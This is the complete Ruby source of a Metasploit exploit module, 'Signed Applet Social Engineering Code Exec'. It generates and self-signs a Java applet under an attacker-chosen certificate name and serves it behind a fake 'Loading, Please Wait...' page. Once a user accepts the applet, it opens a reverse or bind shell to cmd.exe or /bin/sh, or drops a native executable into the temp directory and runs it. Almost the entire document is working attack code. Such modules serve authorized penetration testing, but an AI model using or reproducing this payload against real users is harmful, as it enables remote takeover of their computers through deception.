Signed Applet Social Engineering Code Exec

`##  
# $Id: java_signed_applet.rb 8328 2010-01-29 19:47:40Z natron $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
require 'rex'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Java  
  
def initialize( info = {} )  
  
super( update_info( info,  
'Name' => 'Signed Applet Social Engineering Code Exec',  
'Description' => %q{  
This exploit dynamically creates an applet via the Msf::Exploit::Java mixin, converts it   
to a .jar file, then signs the .jar with a dynamically created certificate containing   
values of your choosing. This is presented to the end user via a web page with an applet   
tag, loading the signed applet.  
  
The user's JVM pops a dialog asking if they trust the signed applet and displays the   
values chosen. Once the user clicks 'accept', the applet executes with full user   
permissions.  
  
The java payload used in this exploit is derived from Stephen Fewer's and HDM's payload  
created for the CVE-2008-5353 java deserialization exploit.  
  
This module requires the rjb rubygem, the JDK, and the $JAVA_HOME variable to be set.  
If these dependencies are not present, the exploit falls back to a static, signed  
JAR.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'natron' ],  
'Version' => '$Revision: 8328 $',  
'References' =>  
[  
[ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ],  
],  
'Platform' => [ 'win', 'osx', 'linux', 'solaris' ],  
'Payload' => { 'Space' => 2048, 'BadChars' => '', 'DisableNops' => true },  
'Targets' =>  
[  
# Generic java payload is mostly useless right now, as it kills as soon as the user browsers  
# to another page. It should be rewritten to launch a new JVM in the background with a custom  
# .class.   
#   
# Look up the path to bin/java, dump .class to java.io.tmpdir, then bin/java foo.class via   
# /bin/sh or cmd.exe  
[ 'Generic (Java Payload)',  
{  
# This is a bad hack to force only the generic/shell_bind_tcp   
# and generic/shell_reverse_tcp payloads  
'Platform' => ['win'],  
'Payload' => { 'Space' => 0 },  
'Arch' => ARCH_CMD,  
}  
],  
[ 'Windows x86 (Native Payload)',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
}  
],  
# Not tested.  
[ 'Mac OS X PPC (Native Payload)',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_PPC,  
}  
],  
# Not tested.  
[ 'Mac OS X x86 (Native Payload)',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_X86,  
}  
],  
# Not tested.  
[ 'Linux x86 (Native Payload)',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_X86,  
}  
],  
],  
'DefaultTarget' => 0  
))  
register_options(   
[  
OptString.new( 'CERTCN', [ true, "The CN= value for the certificate.", "Metasploit Inc." ]),  
OptString.new( 'APPLETNAME', [ true, "The main applet's class name.", "SiteLoader" ]),  
OptString.new('PAYLOADNAME', [ true, "The payload classes name.", "SiteSupport" ]),  
  
# Not implemented yet.  
#OptString.new('PACKAGENAME', [ true, "The package name for gen'd classes.","x" ]),  
#OptString.new('CUSTOMJAR', [ false, "A custom .jar applet to use.", nil]),  
], self.class)  
end  
  
  
def exploit  
#  
# Currently doing all processing in on_request_uri.  
# If this is too slow, we can move applet generation up here.  
#  
  
@use_static = false  
  
if not @jvm_init  
print_error  
print_error "JVM not initialized. You must install the Java Development Kit, the rjb ruby gem, and set the $JAVA_HOME variable."  
print_error "Falling back to static signed applet. This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored."  
print_error  
@use_static = true  
end  
super   
end  
  
def get_code(cli)  
  
# I used to dump #{data} directly into the applet source, but there's a max size of 65k characters for constant Strings.   
appletsource = %Q^  
/*  
*/  
  
import java.applet.Applet;  
import java.io.ByteArrayInputStream;  
import java.io.ObjectInputStream;  
import java.io.BufferedReader;  
import java.io.BufferedWriter;  
import java.io.File;  
import java.io.FileOutputStream;  
import java.io.InputStream;  
import java.io.InputStreamReader;  
import java.io.OutputStream;  
import java.io.OutputStreamWriter;  
import java.net.ServerSocket;  
import java.net.Socket;  
import java.security.AccessController;  
import java.security.PrivilegedExceptionAction;  
  
public class #{datastore['APPLETNAME']} extends Applet  
{  
  
public void init()  
{  
try  
{   
String data = getParameter( "data" );  
String lhost = getParameter( "lhost" );  
String lport = getParameter( "lport" );  
  
if( data == null ) {  
data = "";  
}  
  
//System.out.println("Applet executing. Creating payload class.");  
  
#{datastore['PAYLOADNAME']} site = new #{datastore['PAYLOADNAME']} ();  
//System.out.println("Payload class instantiated.");  
site.data = data;  
  
if( lhost != null && lport != null) {  
site.lhost = lhost;  
site.lport = Integer.parseInt(lport);  
System.out.println("lhost: " + lhost);  
System.out.println("lport: " + Integer.parseInt(lport));  
}  
  
//System.out.println("data: " + data);  
  
site.run();  
}  
catch( Exception e ) { System.out.println("Applet error: " + e); }  
}  
  
class #{datastore['PAYLOADNAME']} implements PrivilegedExceptionAction  
{  
// This will contain a hex string of the native payload to drop and execute.  
public String data = null;  
// If no native payload is set we get either a java bind shell or a java  
// reverse shell.  
public String lhost = null;  
public int lport = 4444;  
  
class StreamConnector extends Thread  
{  
InputStream is;  
OutputStream os;  
  
StreamConnector( InputStream is, OutputStream os )  
{  
this.is = is;  
this.os = os;  
}  
  
public void run()  
{  
BufferedReader in = null;  
BufferedWriter out = null;  
  
try  
{  
in = new BufferedReader( new InputStreamReader( is ) );  
out = new BufferedWriter( new OutputStreamWriter( os ) );  
char buffer[] = new char[8192];  
int length;  
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )  
{  
out.write( buffer, 0, length );  
out.flush();  
}  
}  
catch( Exception e ) { System.out.println( "StreamConnector error: " + e); }  
  
try  
{  
if( in != null )  
in.close();  
if( out != null )  
out.close();  
}  
catch( Exception e ) { System.out.println( "StreamConnector error: " + e); }  
}  
}  
  
// http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java  
public byte[] StringToBytes( String s )  
{  
byte[] data = new byte[s.length() / 2];  
  
for( int i = 0 ; i < s.length() ; i += 2 )  
data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) );  
  
return data;  
}  
  
public Object run() throws Exception  
{  
//System.out.println("Applet running...");  
  
try  
{  
String os = System.getProperty( "os.name" );  
  
// if we have no native payload to drop and execute we default to  
// either a TCP bind or reverse shell.  
//if( #{datastore['PAYLOADNAME']}.data.length() == 0 )  
if( this.data.length() == 0 )  
{  
//System.out.println("Applet thinks payload.data is empty.");  
Socket client_socket = null;  
  
String shell = "/bin/sh";  
  
if( os.indexOf( "Windows" ) >= 0 )  
shell = "cmd.exe";  
  
//if( #{datastore['PAYLOADNAME']}.lhost == null )  
if( this.lhost == null )  
{  
//ServerSocket server_socket = new ServerSocket( #{datastore['PAYLOADNAME']}.lport );  
ServerSocket server_socket = new ServerSocket( this.lport );  
client_socket = server_socket.accept();  
}  
else  
{  
//client_socket = new Socket( #{datastore['PAYLOADNAME']}.lhost, #{datastore['PAYLOADNAME']}.lport );  
client_socket = new Socket( this.lhost, this.lport );  
}  
  
if( client_socket != null )  
{  
Process process = Runtime.getRuntime().exec( shell );  
  
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();  
  
( new StreamConnector( process.getErrorStream(), client_socket.getOutputStream() ) ).start();  
  
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();  
}  
}  
else  
{  
//System.out.println("Applet knows there's data to write. Writing to: " + System.getProperty( "java.io.tmpdir" ));  
String filename = Math.random() + ".exe";  
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + filename;  
//System.out.println(filename + " written.");  
  
Process p;  
FileOutputStream fos = new FileOutputStream( path );  
  
//fos.write( StringToBytes( #{datastore['PAYLOADNAME']}.data ) );  
fos.write( StringToBytes( this.data ) );  
  
fos.close();  
  
if( os.indexOf( "Windows" ) < 0 )  
{  
p = Runtime.getRuntime().exec( "chmod 755 " + path );  
p.waitFor();  
}  
  
p = Runtime.getRuntime().exec( path );  
  
p.waitFor();  
  
new File( path ).delete();  
}  
}  
catch( Exception e ) { System.out.println("Payload execution error: " + e); }  
  
return null;  
}  
  
public void #{datastore['PAYLOADNAME']}()  
{  
try  
{  
AccessController.doPrivileged( this );  
}  
catch( Exception e ) { System.out.println("Payload instantiation error: " + e); }  
}  
}  
}^  
appletcode = { 'classnames' => [ datastore['APPLETNAME'] ] ,  
'codefiles' => [ appletsource ] }  
  
return appletcode  
end  
  
def on_request_uri( cli, request )  
  
if not request.uri.match(/\.jar$/i)  
if not request.uri.match(/\/$/)  
send_redirect( cli, get_resource() + '/', '')  
return  
end  
  
print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )  
  
if target.name == 'Generic (Java Payload)'  
if datastore['LHOST']  
host = datastore['LHOST']  
port = datastore['LPORT']  
print_status( "Payload will be a Java reverse shell to #{host}:#{port} from #{cli.peerhost}..." )  
else  
port = datastore['LPORT']  
datastore['RHOST'] = cli.peerhost  
print_status( "Payload will be a Java bind shell on #{cli.peerhost}:#{port}..." )  
end  
else  
payload = regenerate_payload( cli )  
if not payload  
print_status( "Failed to generate the payload." )  
return  
end  
  
if target['Arch'] == ARCH_X86  
data = Msf::Util::EXE.to_win32pe( framework, payload.encoded ) if target['Platform'] == 'win'  
data = Msf::Util::EXE.to_osx_x86_macho( framework, payload.encoded ) if target['Platform'] == 'osx'  
data = Msf::Util::EXE.to_linux_x86_elf( framework, payload.encoded ) if target['Platform'] == 'linux'  
  
elsif target['Arch'] == ARCH_PPC  
data = Msf::Util::EXE.to_osx_ppc_macho( framework, payload.encoded ) if target['Platform'] == 'osx'  
end  
  
if data  
print_status( "Generated executable to drop (#{data.length} bytes)." )  
data = Rex::Text.to_hex( data, prefix="" )  
else  
print_status( "Failed to generate the executable." )  
return  
end  
end  
  
if not @use_static  
appletcode = get_code(cli)  
  
print_status "Compiling applet classes..."  
compile( appletcode['classnames'], appletcode['codefiles'] )  
  
print_status "Compile completed. Building jar file..."  
  
unsignedjar = "unsigned_#{datastore['APPLETNAME']}.jar"  
@signedjar = "#{datastore['APPLETNAME']}.jar"  
  
build_jar( unsignedjar,  
[ # Applet  
datastore['APPLETNAME'] + ".class",  
# PayloadX class  
datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + ".class",  
# PayloadX StreamConnector for pure Java payload  
datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + "$StreamConnector.class" ] )  
  
print_status "Jar built. Signing..."  
  
sign_jar( datastore['CERTCN'], unsignedjar, @signedjar )  
  
print_status "Jar signed. Ready to send."  
else  
print_status "Using static, signed jar. Ready to send."  
end  
  
# TODO: gzip data and parse in java  
send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } )  
return  
end  
  
# load the jar file  
if @use_static  
path = File.join( Msf::Config.install_root, "data", "exploits", "java_signed_applet.jar" )  
elsif File.exists? File.join( datastore['JAVACACHE'], @signedjar )  
path = File.join( datastore['JAVACACHE'], @signedjar )  
end  
  
if path  
fd = File.open( path, "rb" )  
@jar_data = fd.read(fd.stat.size)  
fd.close  
end  
  
print_status( "Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}:#{cli.peerport}. Waiting for user to click 'accept'..." )  
send_response( cli, @jar_data, { 'Content-Type' => "application/octet-stream" } )  
  
handler( cli )  
  
end  
  
def generate_html( data, host, port )  
html = "<html><head><title>Loading, Please Wait...</title></head>"  
html += "<body><center><p>Loading, Please Wait...</p></center>"  
html += "<applet archive=\"#{datastore['APPLETNAME']}.jar\" "  
html += "code=\"#{datastore['APPLETNAME']}.class\" width=\"1\" height=\"1\">"  
  
html += "<param name=\"data\" value=\"#{data}\"/>" if data  
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host  
html += "<param name=\"lport\" value=\"#{port}\"/>" if port  
  
html += "</applet></body></html>"  
return html  
end  
  
  
end  
`